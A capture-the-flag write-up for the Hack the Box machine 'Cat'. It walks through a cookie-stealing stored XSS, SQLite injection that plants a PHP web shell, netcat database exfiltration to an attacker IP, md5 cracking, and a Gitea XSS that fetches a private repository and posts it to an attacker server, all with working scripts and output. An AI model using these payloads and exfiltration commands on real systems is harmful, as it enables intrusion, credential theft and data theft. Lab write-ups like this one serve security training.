target: 10.10.11.53 attacker: 10.10.14.94
Cat is a medium Linux machine released during the 7th season of Hack the Box. It is mainly XSS oriented.
Foothold
Recon
The usual, we are looking for all ports (-p-
), we want to identify service’s version (-sV
) and execute the default script (-sC
)
nmap -sV -sC -p- 10.10.11.53
...
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.11 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 3072 96:2d:f5:c6:f6:9f:59:60:e5:65:85:ab:49:e4:76:14 (RSA)
| 256 9e:c4:a4:40:e9:da:cc:62:d1:d6:5a:2f:9e:7b:d4:aa (ECDSA)
|_ 256 6e:22:2a:6a:6d:eb:de:19:b7:16:97:c2:7e:89:29:d5 (ED25519)
80/tcp open http Apache httpd 2.4.41 ((Ubuntu))
|_http-title: Best Cat Competition
| http-git:
| 10.10.11.53:80/.git/
| Git repository found!
| Repository description: Unnamed repository; edit this file 'description' to name the...
|_ Last commit message: Cat v1
| http-cookie-flags:
| /:
| PHPSESSID:
|_ httponly flag not set
|_http-server-header: Apache/2.4.41 (Ubuntu)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Two details strike the eye about this Apache server. First of all, the httponly
flag is not set for the PHPSESSID
, which involves that the cookie could be accessed by javascript. This calls for an XSS. Secondly, the server exposes a .git
folder which might be sourcing the source code of the web application hosted by this very server. As it is often the case on Hack the Box machines, the web server redirect us to the proper domain name.
curl http://10.10.11.53/.git/config
<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">
<html><head>
<title>301 Moved Permanently</title>
</head><body>
<h1>Moved Permanently</h1>
<p>The document has moved <a href="http://cat.htb/.git/config">here</a>.</p>
<hr>
<address>Apache/2.4.41 (Ubuntu) Server at 10.10.11.53 Port 80</address>
</body></html>
Let’s then add this domain to our host file
echo '10.10.11.53 cat.htb' >> /etc/hosts
and hit cat.htb this time
curl http://cat.htb/.git/config
[core]
repositoryformatversion = 0
filemode = true
bare = false
logallrefupdates = true
This is definitely a git folder. Before we explore the application, let’s make sure that Apache is not serving any subdomain.
we filter every results with 10 lines that correspond to the main domain (option
-fl
)
ffuf -u http://cat.htb -H "Host: FUZZ.cat.htb" -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt:FUZZ -fl 10
The application
This looks like the classical artisanal PHP 5-10 pages site.
There this a contest section we can access after registration.
The file upload function could call for a local file inclusion. Basic sqlmap
exploration show no obvious vulnerability on any of the 3 forms (register, login, contest). Time to check the git folder.
Source-code analysis
After some scripting attempts and a unconvincing dirbuster session, I found this quite amazing tool specifically design to exfiltrate .git folders. After a pip install
based installation, I simply
mkdir exfiltrated
githacker --url http://cat.htb/.git/ --output-folder exfiltrated/git
to get the source code.
hard encoded admin user
Some functions (admin.php, accept_cat.php, view_cat.php, delete_cat.php) are protected by the following mechanism
if (!isset($_SESSION['username']) || $_SESSION['username'] !== 'axel') {
...
}
He is obviously the admin and we cannot create a user with the same username (already exist
error).
SQLite backend accessed though PDO
No wonders why the sql injections did not work: the generalized use of PDO and prepared statements protects the app against trivial SQL injections.
config.php
<?php
// Database configuration
$db_file = '/databases/cat.db';
// Connect to the database
try {
$pdo = new PDO("sqlite:$db_file");
$pdo->setAttribute(PDO::ATTR_ERRMODE, PDO::ERRMODE_EXCEPTION);
} catch (PDOException $e) {
die("Error: " . $e->getMessage());
}
?>
Same goes for all the forms interacting the DB like here in contest.php
// Prepare SQL query to insert cat data
$stmt = $pdo->prepare("INSERT INTO cats (cat_name, age, birthdate, weight, photo_path, owner_username) VALUES (:cat_name, :age, :birthdate, :weight, :photo_path, :owner_username)");
// Bind parameters
$stmt->bindParam(':cat_name', $cat_name, PDO::PARAM_STR);
$stmt->bindParam(':age', $age, PDO::PARAM_INT);
$stmt->bindParam(':birthdate', $birthdate, PDO::PARAM_STR);
$stmt->bindParam(':weight', $weight, PDO::PARAM_STR);
$stmt->bindParam(':photo_path', $target_file, PDO::PARAM_STR);
$stmt->bindParam(':owner_username', $_SESSION['username'], PDO::PARAM_STR);
// Execute query
if ($stmt->execute()) {
$success_message = "Cat has been successfully sent for inspection.";
} else {
$error_message = "Error: There was a problem registering the cat.";
}
There seems to be one exception in accept_cat.php but this section is only accessible to the admin
$cat_name = $_POST['catName'];
$catId = $_POST['catId'];
$sql_insert = "INSERT INTO accepted_cats (name) VALUES ('$cat_name')";
$pdo->exec($sql_insert);
Might be exploitable later
A dangerous include
On winner.php, we can see that the first .php
file – alphabetically speaking – present in the winners/
folder will be served.
$reportsDir = 'winners/';
$files = glob($reportsDir . '*.php');
if (!empty($files)) {
include $files[0];
} else {
echo "<h1>There are no winners.</h1>";
}
This is a very dangerous pattern, for it allows anyone able to write a php script is this folder to execute arbitrary code. This is the golden path for Remote Code Execution
Forms validation
When it comes to form validation, this is no open bar. The obvious contest.php form, fields of which are reflected in the admin section, seem properly sanitized against any of the characters I would need for a stored XSS
$cat_name = $_POST['cat_name'];
$age = $_POST['age'];
$birthdate = $_POST['birthdate'];
$weight = $_POST['weight'];
$forbidden_patterns = "/[+*{}',;<>()\\[\\]\\/\\:]/";
// Check for forbidden content
if (contains_forbidden_content($cat_name, $forbidden_patterns) ||
contains_forbidden_content($age, $forbidden_patterns) ||
contains_forbidden_content($birthdate, $forbidden_patterns) ||
contains_forbidden_content($weight, $forbidden_patterns)) {
$error_message = "Your entry contains invalid characters.";
} else {
// Generate unique identifier for the image
$imageIdentifier = uniqid() . "_";
...
}
Moreover, the image final name on the server is padded with uniqid. 16**13
== way to much possible path to make a Local File Inclusion likely. Further more, these fields are also escaped with htmlspecialchars
by the admin.php rendering.
<div class="container">
<h1>My Cats</h1>
<?php foreach ($cats as $cat): ?>
<div class="cat-card">
<img src="<?php echo htmlspecialchars($cat['photo_path']); ?>" alt="<?php echo htmlspecialchars($cat['cat_name']); ?>" class="cat-photo">
<div class="cat-info">
<strong>Name:</strong> <?php echo htmlspecialchars($cat['cat_name']); ?><br>
</div>
<button class="view-button" onclick="window.location.href='/view_cat.php?cat_id=<?php echo htmlspecialchars($cat['cat_id']); ?>'">View</button>
<button class="accept-button" onclick="acceptCat('<?php echo htmlspecialchars($cat['cat_name']); ?>', <?php echo htmlspecialchars($cat['cat_id']); ?>)">Accept</button>
<button class="reject-button" onclick="rejectCat(<?php echo htmlspecialchars($cat['cat_id']); ?>)">Reject</button>
</div>
<?php endforeach; ?>
</div>
It took me a while to realize that:
- The
username
field in join.php is not sanitized. We can write whatever we want !
$username = $_GET['username'];
$email = $_GET['email'];
$password = md5($_GET['password']);
$stmt_check = $pdo->prepare("SELECT * FROM users WHERE username = :username OR email = :email");
$stmt_check->execute([':username' => $username, ':email' => $email]);
- this field is rendered as it is in view_cat.php
<div class="container">
<h1>Cat Details: <?php echo $cat['cat_name']; ?></h1>
<img src="<?php echo $cat['photo_path']; ?>" alt="<?php echo $cat['cat_name']; ?>" class="cat-photo">
<div class="cat-info">
<strong>Name:</strong> <?php echo $cat['cat_name']; ?><br>
<strong>Age:</strong> <?php echo $cat['age']; ?><br>
<strong>Birthdate:</strong> <?php echo $cat['birthdate']; ?><br>
<strong>Weight:</strong> <?php echo $cat['weight']; ?> kg<br>
<strong>Owner:</strong> <?php echo $cat['username']; ?><br> <!--HERE-->
<strong>Created At:</strong> <?php echo $cat['created_at']; ?>
</div>
</div>
Based on the data model inferred from the queries, if a user registers and registers a cat for the contest, his username will appear here for the admin too see. This is were the XSS should live.
Exploit
To wrap up, we should i.create a user username
of whom should contain javascript code sending the document.cookie
of anyone executing it, ii. submit a cat with this very user to the contest.
XSS
We first need to listen for incoming http requests
python -m http.server
Serving HTTP on 0.0.0.0 port 8000 (http://0.0.0.0:8000/)
I like to script my attacks with python and I prefer to display code than numerous Burp screen shots and explanations of what to copy paste where. I consider the code and some explanation to be enough to understand what is going on, provided that you try to reproduce it.
We need to
- register a user
foothold.py
ROOT_SITE = "http://cat.htb"
def get_session(username=, password) -> Session:
client = Session()
resp = client.get(f"{ROOT_SITE}") # get initial cookie
login_params = {
"loginUsername": username,
"loginPassword": password,
"loginForm": "Login",
}
resp = client.get(f"{ROOT_SITE}/join.php", params=login_params) # try to log in
if "Incorrect username or password" in resp.text: # if the user does not exist
print(f"Registering {username}")
register_params = {
"username": username,
"email": "user@gfy",
"password": password,
"registerForm": "Register",
}
resp = client.get(f"{ROOT_SITE}/join.php", params=register_params) # create it
resp = client.get(f"{ROOT_SITE}/join.php", params=login_params) # log with these creds
assert "Incorrect username or password" not in resp.text # and make sure that he is properly logged
return client
- use this user to register a cat
foothold.py
FILE_NAME = "any_image_you_want.jpeg"
def file_upload(client: Session) -> bool:
good = "Cat has been successfully sent for inspection."
data = {"cat_name": "mitigry", "age": 5, "birthdate": "31031989", "weight": 10}
with open(FILE_NAME, "rb") as file:
files = {"cat_photo": (FILE_NAME, file.read(), "image/jpeg")}
resp = client.post(
url=f"{ROOT_SITE}/contest.php", data=data, files=files, allow_redirects=True
)
if good in resp.text:
return True
else:
print(resp.text)
return False
- combine both and try to query my ip with
javascript:fetch
foothold.py
if __name__ == "__main__":
client = get_session(username="<script>document.location='http://10.10.14.94:8000/'+document.cookie;</script>")
if file_upload(client):
print("file uploaded success")
python foothold.py
wait for axel to access the page, send the request and get the cookie in our logs
python -m http.server
Serving HTTP on 0.0.0.0 port 8000 (http://0.0.0.0:8000/)
...
10.10.11.53 - - [07/Feb/2025 09:19:44] "GET /PHPSESSID=4ihi6fjq1uvbl490pg0gmt32ub HTTP/1.1" 404 -
Neat! we have his cookie! We can now use admin.php and the various associated function.
SQL injection & include exploitation
Remember, we found a possible sql injection in accept_cat.php. Let’s take a closer look
<?php
include 'config.php';
session_start();
if (isset($_SESSION['username']) && $_SESSION['username'] === 'axel') { // need to be axel: DONE
if ($_SERVER["REQUEST_METHOD"] == "POST") {
if (isset($_POST['catId']) && isset($_POST['catName'])) { // post param we can set
$cat_name = $_POST['catName']; // stored in this variable without sanitation
$catId = $_POST['catId'];
$sql_insert = "INSERT INTO accepted_cats (name) VALUES ('$cat_name')"; //used here
$pdo->exec($sql_insert);
$stmt_delete = $pdo->prepare("DELETE FROM cats WHERE cat_id = :cat_id");
$stmt_delete->bindParam(':cat_id', $catId, PDO::PARAM_INT);
$stmt_delete->execute();
echo "The cat has been accepted and added successfully.";
} else {
echo "Error: Cat ID or Cat Name not provided.";
}
} else {
header("Location: /");
exit();
}
} else {
echo "Access denied.";
}
?>
It would be nice if, instead of
INSERT INTO accepted_cats (name) VALUES ('whatever');
we could stack a second query (a SELECT
or whatever)
INSERT INTO accepted_cats (name) VALUES ('whatever');SELECT * FROM users;
This is fairly simple with something like $cat_name
=');SELECT * FROM users;--
, for
INSERT INTO accepted_cats (name) VALUES ('$cat_name')
now becomes
INSERT INTO accepted_cats (name) VALUES ('');SELECT * FROM users;--');
However, since this query is not reflected in the html page, a SELECT
is not what we will aim for. Since we are looking for a remote code execution and that we are in a SQlite context PayloadsAllTheThings suggests the following:
ATTACH DATABASE '/var/www/lol.php' AS lol;
CREATE TABLE lol.pwn (dataz text);
INSERT INTO lol.pwn (dataz) VALUES ("<?php system($_GET['cmd']); ?>");--
We can apparently write a php file wherever www-data can write and write whatever we want in it. Calling lol.php?cmd=<any command>
should execute the command on the system. Thus, with axel’s cookie (careful, it does not last long, you might need to re-run the previous step)
sqli.py
def sqli(cookie: str, command:str):
with Session() as client:
client.cookies.update(dict(PHPSESSID=cookie))
resp = client.get(f"{ROOT_SITE}/admin.php")
assert '<a href="/admin.php">Admin</a>' in resp.text # has admin access?
# file in the winners folders need to come first in the alphabetical order
payload = """');ATTACH DATABASE './winners/alol.php' AS lol;CREATE TABLE lol.pwn (dataz text);INSERT INTO lol.pwn (dataz) VALUES ("<?php system($_GET['cmd']); ?>");--"""
data = {"catName": payload, "catId": 1}
# send the SQL injection
resp = client.post(f"{ROOT_SITE}/accept_cat.php", data=data)
print(resp.text)
# send a cmd to check if alol.php took over
params = {"cmd": command}
resp = client.get(f"{ROOT_SITE}/winners.php", params=params)
print(resp.text)
if __name__ == "__main__":
sqli("4ihi6fjq1uvbl490pg0gmt32ub", "whoami")
Let’s execute sqli.py
python sqli.py
....
<a href="/admin.php">Admin</a><a href="/logout.php">Logout</a></div>
�� Iwww-datapwnCREATE TABLE pwn (dataz text)
</body>
</html>
whoami
output (www-data
) is reflected in the page. We have RCE! From there, I cat /etc/passwd
, got especially interested in these two users
axel:x:1000:1000:axel:/home/axel:/bin/bash
rosa:x:1001:1001:,,,:/home/rosa:/bin/bash
I also got a reverse shell. However, the point is to become someone else than www-data. I exfiltrated the database with netcat
by
locally
nc -l -p 7000 -q 1 > remote_data.db < /dev/null
sqli.py
if __name__ == "__main__":
sqli("4ihi6fjq1uvbl490pg0gmt32ub", "cat /databases/cat.db | netcat 10.10.14.94 7000")
python sqli.py
I now have a remote_data.db file where nc
was listening. This is a SQlite database and we are interested in the table users
. So
$ sqlite3 remote_data.db
SQLite version 3.46.1 2024-08-13 09:16:08
Enter ".help" for usage hints.
sqlite> SELECT * FROM users;
1|axel|axel2017@gmail.com|d1bbba3670feb9435c9841e46e60ee2f
2|rosa|rosamendoza485@gmail.com|ac369922d560f17d6eeb8b2c7dec498c
3|robert|robertcervantes2000@gmail.com|42846631708f69c00ec0c0a8aa4a92ad
4|fabian|fabiancarachure2323@gmail.com|39e153e825c4a3d314a0dc7f7475ddbe
5|jerryson|jerrysonC343@gmail.com|781593e060f8d065cd7281c5ec5b4b86
6|larry|larryP5656@gmail.com|1b6dce240bbfbc0905a664ad199e18f8
7|royer|royer.royer2323@gmail.com|c598f6b844a36fa7836fba0835f1f6
8|peter|peterCC456@gmail.com|e41ccefa439fc454f7eadbf1f139ed8a
9|angel|angel234g@gmail.com|24a8ec003ac2e1b3c5953a6f95f8f565
10|jobert|jobert2020@gmail.com|88e4dceccd48820cf77b5cf6c08698ad
Those are md5 sums (-m 0
in hashcat
). Amongst the hash, only rosa’s password appeared in rockyou
hashcat -m 0 'ac369922d560f17d6eeb8b2c7dec498c' /usr/share/wordlists/rockyou.txt
...
ac369922d560f17d6eeb8b2c7dec498c:soyunaprincesarosa
we can ssh rosa@cat.htb
using this password.
Lateral movements
We are now rosa. Once in the system, we can notice some internal services stood up.
rosa@cat:~$ ss -tulpn
Netid State Recv-Q Send-Q Local Address:Port Peer Address:Port Process
udp UNCONN 0 0 127.0.0.53%lo:53 0.0.0.0:*
tcp LISTEN 0 4096 127.0.0.53%lo:53 0.0.0.0:*
tcp LISTEN 0 128 0.0.0.0:22 0.0.0.0:*
tcp LISTEN 0 4096 127.0.0.1:3000 0.0.0.0:*
tcp LISTEN 0 10 127.0.0.1:25 0.0.0.0:*
tcp LISTEN 0 37 127.0.0.1:58651 0.0.0.0:*
tcp LISTEN 0 128 127.0.0.1:51999 0.0.0.0:*
tcp LISTEN 0 10 127.0.0.1:587 0.0.0.0:*
tcp LISTEN 0 1 127.0.0.1:36813 0.0.0.0:*
tcp LISTEN 0 511 *:80 *:*
tcp LISTEN 0 128 [::]:22 [::]:*
Port 25 is a SMTP server, port 587 is an SMTPS server (same service secured by TLS). This suggests that email might be involved later on. I did not identify the services above port 30000 for I became more interested in port 3000. This looks like a web application
curl https://127.0.0.1:3000
...
</html>
I thus mapped it on my local 3000 through a ssh local port forwarding to access and analyze it.
kali@kali $ ssh -L localhost:3000:localhost:3000 rosa@cat.htb
This is a gitea v1.22.0 for which there seems to be an XSS exploit https://www.exploit-db.com/exploits/52077. Unfortunately, it requires to be authenticated, Rosa’s credentials do not work and password recovery function is disabled.
A linpeas enum showed some interesting results
rosa@cat:~$ curl http://10.10.14.94:8000/linpeas.sh | bash
...
Vulnerable to CVE-2021-3560
...
╔══════════╣ SGID
╚ https://book.hacktricks.wiki/en/linux-hardening/privilege-escalation/index.html#sudo-and-suid
-rwxr-sr-x 1 root smmsp 849K Mar 7 2020 /usr/lib/sm.bin/sendmail ---> Sendmail_8.10.1/Sendmail_8.11.x/Linux_Kernel_2.2.x_2.4.0-test1_(SGI_ProPack_1.2/1.3)
-rwxr-sr-x 1 root smmsp 82K Mar 7 2020 /usr/lib/sm.bin/mailstats (Unknown SGID binary)
-rwsr-sr-x 1 daemon daemon 55K Nov 12 2018 /usr/bin/at ---> RTru64_UNIX_4.0g(CVE-2002-1614)
...
CVE-2021-3560 and CVE-2002-1614 did not look easily exploitable. However, the PHP app logged by PHP does display axel’s password
rosa@cat:/var/log/apache2$ grep -ri Password
...
access.log.1:127.0.0.1 - - [31/Jan/2025:11:47:55 +0000] "GET /join.php?loginUsername=axel&loginPassword=aNdZwgC4tI9gnVXv_e3Q&loginForm=Login HTTP/1.1" 302 329 "http://cat.htb/join.php" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:134.0) Gecko/20100101 Firefox/134.0"
access.log.1:127.0.0.1 - - [31/Jan/2025:11:48:06 +0000] "GET /join.php?loginUsername=axel&loginPassword=aNdZwgC4tI9gnVXv_e3Q&loginForm=Login HTTP/1.1" 302 329 "http://cat.htb/join.php" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:134.0) Gecko/20100101 Firefox/134.0"
...
This password works for both Gitea and and as axel’s UNIX password.
rosa@cat:/var/log/apache2$ su axel
Password:
axel@cat:/var/log/apache2$
Privilege escalation
Since the narrative seems to involve email, it seemed a good idea to have a look at Axel’s mail.
Emailing
axel@cat:/var/log/apache2$ cat /var/mail/axel
From rosa@cat.htb Sat Sep 28 04:51:50 2024
Return-Path: <rosa@cat.htb>
Received: from cat.htb (localhost [127.0.0.1])
by cat.htb (8.15.2/8.15.2/Debian-18) with ESMTP id 48S4pnXk001592
for <axel@cat.htb>; Sat, 28 Sep 2024 04:51:50 GMT
Received: (from rosa@localhost)
by cat.htb (8.15.2/8.15.2/Submit) id 48S4pnlT001591
for axel@localhost; Sat, 28 Sep 2024 04:51:49 GMT
Date: Sat, 28 Sep 2024 04:51:49 GMT
From: rosa@cat.htb
Message-Id: <202409280451.48S4pnlT001591@cat.htb>
Subject: New cat services
Hi Axel,
We are planning to launch new cat-related web services, including a cat care website and other projects. Please send an email to jobert@localhost with information about your Gitea repository. Jobert will check if it is a promising service that we can develop.
Important note: Be sure to include a clear description of the idea so that I can understand it properly. I will review the whole repository.
From rosa@cat.htb Sat Sep 28 05:05:28 2024
Return-Path: <rosa@cat.htb>
Received: from cat.htb (localhost [127.0.0.1])
by cat.htb (8.15.2/8.15.2/Debian-18) with ESMTP id 48S55SRY002268
for <axel@cat.htb>; Sat, 28 Sep 2024 05:05:28 GMT
Received: (from rosa@localhost)
by cat.htb (8.15.2/8.15.2/Submit) id 48S55Sm0002267
for axel@localhost; Sat, 28 Sep 2024 05:05:28 GMT
Date: Sat, 28 Sep 2024 05:05:28 GMT
From: rosa@cat.htb
Message-Id: <202409280505.48S55Sm0002267@cat.htb>
Subject: Employee management
We are currently developing an employee management system. Each sector administrator will be assigned a specific role, while each employee will be able to consult their assigned tasks. The project is still under development and is hosted in our private Gitea. You can visit the repository at: http://localhost:3000/administrator/Employee-management/. In addition, you can consult the README file, highlighting updates and other important details, at: http://localhost:3000/administrator/Employee-management/raw/branch/main/README.md.
So, a bot impersonating Jobert is waiting for an email from Axel to have a look at a gitea repository I can inject javascript in. Let’s first check how to send a mail. Linpeas pointed me a SMTP client in /usr/lib/sm.bin/sendmail
--help
of which ended up not very helpful. After some research, I found a convenient way to interact with it with a one line command that would make my future exploit easier.
echo -e "From:axel@cat.htb\nSubject:Test\n\nHello" | /usr/lib/sm.bin/sendmail -t -v "jobert@localhost"
jobert@localhost... Connecting to [127.0.0.1] via relay...
220 cat.htb ESMTP Sendmail 8.15.2/8.15.2/Debian-18; Sat, 8 Feb 2025 19:34:07 GMT; (No UCE/UBE) logging access from: localhost(OK)-localhost [127.0.0.1]
>>> EHLO cat.htb
...
250 2.0.0 518JY7EL062497 Message accepted for delivery
jobert@localhost... Sent (518JY7EL062497 Message accepted for delivery)
Closing connection to [127.0.0.1]
>>> QUIT
221 2.0.0 cat.htb closing connection
Looks good. Now with the XSS.
XSS
Going back to https://www.exploit-db.com/exploits/52077, I manually created a repository on Gitea, injected the very same payload in the description field to acknowledge the fact that this misformed <a>
(<a href=javascript:alert()>XSS test</a>
) tag ended up producing a functionnal script: <a href="javascript:alert()">XSS test</a>
I tried some other tags such as <img>
, <svg>
without any luck. The vuln seemed <a>
specific and I found no clear way to involve any onerror
or onfocus autofocus
: Jobert does need to click on the link in the description field and the link appears in the repo IFF there is a file such as a LICENCE specified during the repo creation.
However, because the repo does not survive long before automatic deletion (2 minutes) and because I would probably need several interations before I could find the right XSS, I needed some way to script the repo creation. I found a swagger at http://localhost:3000/api/swagger (remember, the app port is mapped locally). Obviously, the API access requires an authentication
kali@kali $ curl -X POST http://localhost:3000/api/v1/user/repos -v
* Host localhost:3000 was resolved.
...
< HTTP/1.1 401 Unauthorized
< Cache-Control: max-age=0, private, must-revalidate, no-transform
< Content-Type: application/json;charset=utf-8
< X-Content-Type-Options: nosniff
< X-Frame-Options: SAMEORIGIN
< Date: Sat, 08 Feb 2025 19:59:11 GMT
< Content-Length: 72
<
{"message":"token is required","url":"http://cat.htb:3000/api/swagger"}
However, no need for any Oauth or permanent token I did not found, Basic auth worked. base64(axel:aNdZwgC4tI9gnVXv_e3Q)
gives YXhlbDphTmRad2dDNHRJOWduVlh2X2UzUQ==
, thus
curl -X POST http://localhost:3000/api/v1/user/repos -H "Authorization: Basic YXhlbDphTmRad2dDNHRJOWduVlh2X2UzUQ==" -v
...
< HTTP/1.1 422 Unprocessable Entity
...
{"message":"[]: Empty Content-Type","url":"http://cat.htb:3000/api/swagger"}
Now, let’s script
Attempt to exfiltrate jobert’s cookie
So, create a repo with an XSS in the description and send its url to Jobert could be scripted like this
priv_esc.py
def xss_git():
GIT_ROOT = "http://localhost:3000"
API_HEADERS = {
"Authorization": "Basic YXhlbDphTmRad2dDNHRJOWduVlh2X2UzUQ==",# Basic auth
"Content-Type": "application/json",
}
with Session() as client:
client.headers.update(API_HEADERS)
data = {
"name": f"API_{datetime.datetime.now().strftime("%d%m%Y%H%M%S")}",
"description": f"<a href=javascript:fetch('http://10.10.14.89:8000/'+document.cookie)>XSS test</a>",
"private": True,
}
# create the repo
resp = client.post(url=f"{GIT_ROOT}/api/v1/user/repos", json=data)
creation_json = resp.json()
# we need the repo name to send it to Jobert
repo_name = creation_json["html_url"].split("/")[-1].strip()
print(
"status code",
resp.status_code,
creation_json["html_url"],
" repo name ",
repo_name,
)
## create file so the repo's web page display the description
resp = client.post(
url=f"{GIT_ROOT}/api/v1/repos/{creation_json['owner']['login']}/{creation_json['name']}/contents/README.md",
json={"content": "c29tZSBjb250ZW50"},
)
# ask Jobert to check it with the email command identified earlier
# executed through an ssh session (using paramiko)
with SSHClient() as ssh_client:
ssh_client.set_missing_host_key_policy(AutoAddPolicy())
ssh_client.connect(
"cat.htb", port=22, username="axel", password="aNdZwgC4tI9gnVXv_e3Q"
)
stdin, stdout, stderr = ssh_client.exec_command(# weirdly, cats.htb does not work
f'echo -e "From:axel@cat.htb\nSubject:Test \n\nhttp://localhost:3000/axel/{repo_name}" | /usr/lib/sm.bin/sendmail -t -v "jobert@localhost"'
)
opt = stdout.readlines()
opt = "".join(opt)
print(opt)
└─$ python -m http.server
Serving HTTP on 0.0.0.0 port 8000 (http://0.0.0.0:8000/) ...
10.10.11.53 - - [09/Feb/2025 10:34:13] "GET / HTTP/1.1" 200 -
10.10.11.53 - - [09/Feb/2025 10:35:28] "GET / HTTP/1.1" 200 -
10.10.14.94 - - [09/Feb/2025 10:35:34] code 404, message File not found
10.10.14.94 - - [09/Feb/2025 10:35:34] "GET /PHPSESSID=vjtqk0elj4bu3hp4gdnbn59mth
Damned, I can get mine (10.10.14.94) but not his (10.10.11.53), probably due to a cross origin protection mechanism I did not identified.
Source code exfitration
Reading Axel’s email, I remembered that
From: rosa@cat.htb
Message-Id: <202409280505.48S55Sm0002267@cat.htb>
Subject: Employee management
We are currently developing an employee management system. Each sector administrator will be assigned a specific role, while each employee will be able to consult their assigned tasks. The project is still under development and is hosted in our private Gitea. You can visit the repository at: http://localhost:3000/administrator/Employee-management/. In addition, you can consult the README file, highlighting updates and other important details, at: http://localhost:3000/administrator/Employee-management/raw/branch/main/README.md.
The point of the XSS is not to steal Jobert’s cookie but to access a restricted repository’s content. I have a README url, let’s start with that. I javascript, this is how I would read and send a file content to a distant endpoint.
fetch(
'http://localhost:3000/administrator/Employee-management/raw/branch/main/README.md').then(
x=>x.blob()
)
.then(
content=>fetch('http://10.10.14.94:8000',{{method:'POST',body:content}})
)
However, because of the >
involved in the two anonymous functions, the final format of the injected XSS is messed up. Thankfully, this can be easily solved by 1. encoding the entire payload in base64 and use it in a javascript:eval(atob('{in_b64}'))
. Finally, our server should not only log the incoming requests but also write the files received in POST body. I ended up with the following server:
server.py
import base64
import datetime
from http.server import BaseHTTPRequestHandler, HTTPServer
import json
import logging
class S(BaseHTTPRequestHandler):
def _set_response(self):
self.send_response(200)
self.send_header('Content-type', 'text/html')
self.send_header('Access-Control-Allow-Origin', '*') # Added for CORS
self.send_header('Access-Control-Allow-Headers', '*') # See bellow
self.send_header('Allow', 'GET, POST, HEAD, OPTIONS')
self.end_headers()
def do_OPTIONS(self):
logging.info("OPTIONS request,\nPath: %s\nHeaders:\n%s\n", str(self.path), str(self.headers))
self._set_response()
self.wfile.write("OPTIONS request for {}".format(self.path).encode('utf-8'))
def do_GET(self):
logging.info("GET request,\nPath: %s\nHeaders:\n%s\n", str(self.path), str(self.headers))
self._set_response()
self.wfile.write("GET request for {}".format(self.path).encode('utf-8'))
def do_POST(self):
content_length = int(self.headers['Content-Length']) # <--- Gets the size of data
body = self.rfile.read(content_length) # <--- Gets the data itself
with open(f"./exfiltrated/gitea/file_{datetime.datetime.now().strftime("%d%m%Y%H%M%S")}", "wb") as file:
file.write(body)
logging.info("POST request,\nPath: %s\nHeaders:\n%s\n",
str(self.path), str(self.headers))
self._set_response()
self.wfile.write("POST request for {}".format(self.path).encode('utf-8'))
def run(server_class=HTTPServer, handler_class=S, port=8080):
logging.basicConfig(level=logging.INFO)
server_address = ('', port)
httpd = server_class(server_address, handler_class)
logging.info('Starting httpd...\n')
try:
httpd.serve_forever()
except KeyboardInterrupt:
pass
httpd.server_close()
logging.info('Stopping httpd...\n')
if __name__ == '__main__':
from sys import argv
if len(argv) == 2:
run(port=int(argv[1]))
else:
run()
One important thing to know: when fetch
tries to reach an other domain, the implementation of CORS requires that it interrogates the target server through an OPTIONS request to get the following hearders: Access-Control-Allow-Origin
, Access-Control-Allow-Headers
, Allow
. In the present case, no need to grasp all of what’s going on and let’s be permissive.
With server.py
running in the background, the final exploit looks like this:
priv_esc.py
def xss_git():
GIT_ROOT = "http://localhost:3000"
API_HEADERS = {
"Authorization": "Basic YXhlbDphTmRad2dDNHRJOWduVlh2X2UzUQ==", # aNdZwgC4tI9gnVXv_e3Q
"Content-Type": "application/json",
}
with Session() as client:
client.headers.update(API_HEADERS)
url_to_read = "http://localhost:3000/administrator/Employee-management/raw/branch/main/README.md"
# assemble the base64 payload
in_b64 = base64.b64encode(
f"fetch('{url_to_read}').then(x=>x.blob()).then(content=>fetch('http://10.10.14.94:8000',{{method:'POST',body:content}}))".encode(
"ascii"
)
).decode("ascii")
data = {
"name": f"API_{datetime.datetime.now().strftime("%d%m%Y%H%M%S")}",
"description": f"<a href=javascript:eval(atob('{in_b64}'))>XSS test</a>", # use it here
"private": True,
}
resp = client.post(url=f"{GIT_ROOT}/api/v1/user/repos", json=data)
creation_json = resp.json()
repo_name = creation_json["html_url"].split("/")[-1].strip()
print(
"status code",
resp.status_code,
creation_json["html_url"],
" repo name ",
repo_name,
)
## create file
resp = client.post(
url=f"{GIT_ROOT}/api/v1/repos/{creation_json['owner']['login']}/{creation_json['name']}/contents/README.md",
json={"content": "c29tZSBjb250ZW50"},
)
# ask admin to check it
with SSHClient() as ssh_client:
ssh_client.set_missing_host_key_policy(AutoAddPolicy())
ssh_client.connect(
"cat.htb", port=22, username="axel", password="aNdZwgC4tI9gnVXv_e3Q"
)
stdin, stdout, stderr = ssh_client.exec_command(
f'echo -e "From:axel@cat.htb\nSubject:Test \n\nhttp://localhost:3000/axel/{repo_name}" | /usr/lib/sm.bin/sendmail -t -v "jobert@localhost"'
)
opt = stdout.readlines()
opt = "".join(opt)
print(opt)
The README does not contain anything interresting
# Employee Management
Site under construction. Authorized user: admin. No visibility or updates visible to employees.
so I deceided to download the entire repo’s archive (http://localhost:3000/administrator/Employee-management/archive/main.zip) to open and explore it locally.
kali@kali mv file_09022025110505 file_09022025110505.zip
kali@kali unzip file_09022025110505.zip
Archive: file_09022025110505.zip
7fa272fd5c07320c932584e150717b4829a0d0b3
inflating: employee-management/README.md
inflating: employee-management/chart.min.js
inflating: employee-management/dashboard.php
inflating: employee-management/index.php
inflating: employee-management/logout.php
inflating: employee-management/style.css
kali@kali cd employee-management
kali@kali ls
chart.min.js index.php README.md
dashboard.php logout.php style.css
index.php contains the root password
<?php
$valid_username = 'admin';
$valid_password = 'IKw75eR0MR7CMIxhH0';
if (!isset($_SERVER['PHP_AUTH_USER']) || !isset($_SERVER['PHP_AUTH_PW']) ||
$_SERVER['PHP_AUTH_USER'] != $valid_username || $_SERVER['PHP_AUTH_PW'] != $valid_password) {
header('WWW-Authenticate: Basic realm="Employee Management"');
header('HTTP/1.0 401 Unauthorized');
exit;
}
header('Location: dashboard.php');
exit;
?>